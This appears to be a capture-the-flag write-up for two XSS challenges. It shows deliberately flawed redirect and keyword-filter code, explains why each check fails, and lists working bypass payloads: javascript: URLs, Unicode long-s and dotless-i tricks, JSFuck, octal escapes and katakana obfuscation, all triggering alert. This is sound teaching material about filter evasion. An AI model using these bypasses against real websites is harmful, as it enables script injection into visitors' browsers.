Repository navigation
XSS Challenges
https://penultimate.github.io/challenges/XSS/000000-xss

var site = "https://penultimate.github.io";
var redirect = document.location + '';
redirect = redirect.split("redirect=")[1];
redirect = decodeURIComponent(redirect);
if (redirect.indexOf(site) > -1 && redirect.split("://")[1].split("/")[0] === site.split("://")[1].split("/")[0]) {
location.href = redirect;
}https://penultimate.github.io/challenges/XSS/000000-xss?redirect=javascript:alert`https://penultimate.github.io/`
https://penultimate.github.io/challenges/XSS/000000-xss?redirect=javascript:alert(1)//https://penultimate.github.io
> site = "https://penultimate.github.io";
"https://penultimate.github.io"
> redirect = document.location + '';
"https://penultimate.github.io/challenges/XSS/000000-xss?redirect=javascript:alert`https://penultimate.github.io/`"
> redirect = redirect.split("redirect=")[1];
"javascript:alert`https://penultimate.github.io/`"
> redirect = decodeURIComponent(redirect);
"javascript:alert`https://penultimate.github.io/`"
> redirect.indexOf(site) > -1 && redirect.split("://")[1].split("/")[0]
"penultimate.github.io"
> site.split("://")[1].split("/")[0]
"penultimate.github.io"
> location.href = redirect;
"javascript:alert`https://penultimate.github.io/`"The issue lies in the if statement if (redirect.indexOf(site) > -1 && redirect.split("://")[1].split("/")[0] === site.split("://")[1].split("/")[0]). The statement simply requires the redirect value to contain https://penultimate.github.io so we can execute javascript:alert(1) first, add the https://penultimate.github.io URL as a suffix, and comment out the URL using JavaScript's comment symbol //.
https://penultimate.github.io/challenges/XSS/000001-xss

function preventXSS(unsafe) {
// Super secure XSS filter
// - Larry Lau
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/%/g, "ribbit")
.replace(/alert/gi, "frog")
.replace(/confirm/gi, "frog")
.replace(/prompt/gi, "frog")
.replace(/javascript/gi, "frog");
}
var url = document.location + '';
var param = url.split("param=")[1];
param = preventXSS(decodeURIComponent(param)).toUpperCase();
if (param !== 'UNDEFINED' && param !== "") {
location.href = param;
}To bypass the "javascript" keyword filter (.replace(/javascript/gi, "frog");), one can replace the "s" in javascript with ſ. The .toUpperCase() function neutralises the letter and outputs S.
> "ſ".toUpperCase()
"S"The next issue people faced was executing and alert() function after it had been passed to the .toUpperCase() function -- ALERT() is not a valid function. One way of achieving this was by using JSFuck, since uppercase []()!+ does not affect the code and you can execute the alert function using these symbols.
https://penultimate.github.io/challenges/XSS/000001-xss?param=javaſcript:[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
https://penultimate.github.io/challenges/XSS/000001-xss?param=javas%09cript:[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
Baptiste MOINE (@Creased_) and DrStache (@DrStache_) submitted interesting 90-character solutions.
javaſcript:CSS['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164()')()
javaſcript:URL['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164()')()@filedescriptor submitted the following 89-character solution (Please note, this can be made shorter):
javaſcript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'DrStache (@DrStache_) also submitted an beautiful solution where they used variables to reduce the size of the JSFuck payload.
javaſcript:Ð=[],Ř=+!+Ð,ˍ=Ř+Ř+Ř,Š=!!Ð+Ð,Ť=!Ð+Ð,Ǎ=(!Ð+{})[Ř+[+Ð]],Č=(Ð+{})[Ř],Ȟ=Š[Ř],Ě=Š[+Ð],_=Ť[ˍ]+Č+Ȟ+Ě,ǰ=Ð[_]+Ð,š=Ð[Ð]+Ð,Ð[_][Ǎ+Č+(š)[Ř]+Ť[ˍ]+Ě+Ȟ+(š)[+Ð]+Ǎ+Ě+Č+Ȟ](Ť[Ř]+Ť[Ř+Ř]+Š[ˍ]+Ȟ+Ě+ǰ[Ř+[ˍ]]+ǰ[Ř+[ˍ+Ř]])()@z33_5h4n used katakana.js.
javascrıpt:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()